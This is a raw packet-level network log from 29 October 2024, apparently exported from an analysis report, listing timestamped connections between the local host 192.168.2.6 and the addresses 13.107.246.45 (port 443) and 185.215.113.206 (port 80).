Oct 29, 2024 15:27:18.206593037 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.206613064 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.206763029 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.206938982 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.206945896 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.207123995 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.207148075 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.207462072 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.207468033 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.210824013 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.211179018 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.211193085 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.211749077 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.211760998 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554053068 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554060936 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554075956 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554120064 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554176092 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554178953 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554179907 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554183960 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554238081 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554251909 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554263115 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554299116 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554358959 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554380894 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554397106 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.554404974 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554430008 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554444075 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554460049 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554469109 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554512978 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.554578066 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.554713964 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554723024 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554780960 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.554797888 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554867983 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.554871082 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.554923058 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.554943085 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.555643082 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.555658102 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.555669069 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.555675030 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.556334019 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.556339979 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.556351900 CET	49748	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.556355953 CET	443	49748	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.557082891 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.557090998 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.557106018 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.557110071 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.557779074 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.557785034 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.557805061 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.557809114 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.563803911 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.565974951 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.566000938 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.566121101 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.567559958 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.567573071 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.567636967 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.568032980 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.568068027 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.569118977 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.569144011 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.569221020 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.569372892 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.569394112 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.569502115 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.569514990 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.569583893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.571131945 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.571144104 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.571208954 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.571347952 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.571360111 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.571949005 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.571960926 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.572052956 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.572192907 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:18.572206020 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:18.843812943 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.844006062 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.921840906 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.921895027 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:18.927401066 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927421093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927427053 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927432060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927524090 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927530050 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927535057 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:18.927572012 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:19.313230991 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.315608025 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.315619946 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.316078901 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.316083908 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.318120003 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.318398952 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.318413019 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.318774939 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.318778992 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.321228981 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.321485043 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.321502924 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.321872950 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.321877956 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.324059010 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.324285984 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.324321985 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.324644089 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.324656010 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.327660084 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.328119993 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.328135967 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.328686953 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.328697920 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.442281008 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.442435026 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.442564011 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.445334911 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.445353031 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.445363998 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.445378065 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.454157114 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.454751015 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.454884052 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.455029964 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.455049992 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.455121994 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.455265045 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.455271959 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.455284119 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.455288887 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.456196070 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.456207037 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.460916996 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.460937977 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.461075068 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.461158991 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.461178064 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.461761951 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.461913109 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.461976051 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.462004900 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.462012053 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.462021112 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.462023973 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.462987900 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.463018894 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.463190079 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.463247061 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.463284016 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.463344097 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.463484049 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.463504076 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.463526011 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.463538885 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.464396954 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.464415073 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.464437962 CET	49753	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.464447975 CET	443	49753	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.466686010 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.466711998 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.466784954 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.466840029 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.466871023 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.466948032 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.466985941 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.467000008 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.467066050 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.467092991 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.468262911 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.468271017 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:19.468331099 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.468478918 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:19.468489885 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.121699095 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.121789932 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.122411013 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.122471094 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.256493092 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.257150888 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.257174969 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.257778883 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.257795095 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.260863066 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.261303902 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.261317015 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.261868954 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.261873007 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.263664961 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.264043093 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.264054060 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.264061928 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.264616966 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.264625072 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.265036106 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.265058041 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.265569925 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.265573978 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.266046047 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.266427040 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.266433954 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.266906977 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.266911983 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.389847994 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.390175104 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.390259027 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.390405893 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.390428066 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.390435934 CET	49761	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.390450954 CET	443	49761	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.393758059 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.393785000 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.393887997 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.394119978 CET	49763	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.394135952 CET	443	49763	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.397116899 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.397885084 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.397908926 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.397953033 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.397974014 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.398046970 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.398076057 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.398085117 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.398097038 CET	49762	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.398102045 CET	443	49762	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.398334980 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.398341894 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.398351908 CET	49759	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.398356915 CET	443	49759	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.399538994 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.400576115 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.400702953 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.401680946 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.401724100 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.401731014 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.401737928 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.401746988 CET	49760	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.401751041 CET	443	49760	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.401817083 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.402015924 CET	49764	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.402033091 CET	443	49764	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.402095079 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.402158022 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.402214050 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.404386044 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.404409885 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.404483080 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.404609919 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.404609919 CET	49758	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.404630899 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.404640913 CET	443	49758	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.410540104 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.410548925 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.410612106 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.410789013 CET	49765	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.410800934 CET	443	49765	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.439995050 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.440016985 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.440088034 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.440402985 CET	49766	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.440422058 CET	443	49766	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.448405981 CET	49767	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:20.448425055 CET	443	49767	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:20.488806009 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.494668007 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766020060 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766038895 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766052961 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766067028 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766112089 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.766226053 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.766643047 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766685963 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766699076 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766702890 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.766738892 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.766746998 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766755104 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.766767025 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.767991066 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.769866943 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.769911051 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.769922972 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.769928932 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.769953966 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.769972086 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.769996881 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.938812971 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.938833952 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.938885927 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.938899994 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.938980103 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939101934 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.939101934 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.939284086 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939338923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939347982 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.939352036 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939412117 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.939439058 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939457893 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.939496994 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.939544916 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.940335035 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.940355062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.940367937 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.940399885 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.940407991 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.940423965 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.940428019 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.940447092 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.940469980 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.940500021 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.941781998 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.941847086 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.941849947 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.941874027 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.941888094 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.941898108 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.941924095 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.941947937 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.941953897 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.941999912 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:20.942214966 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.942223072 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:20.942325115 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:21.072629929 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072660923 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072671890 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:21.072735071 CET	80	49742	185.215.113.206	192.168.2.6
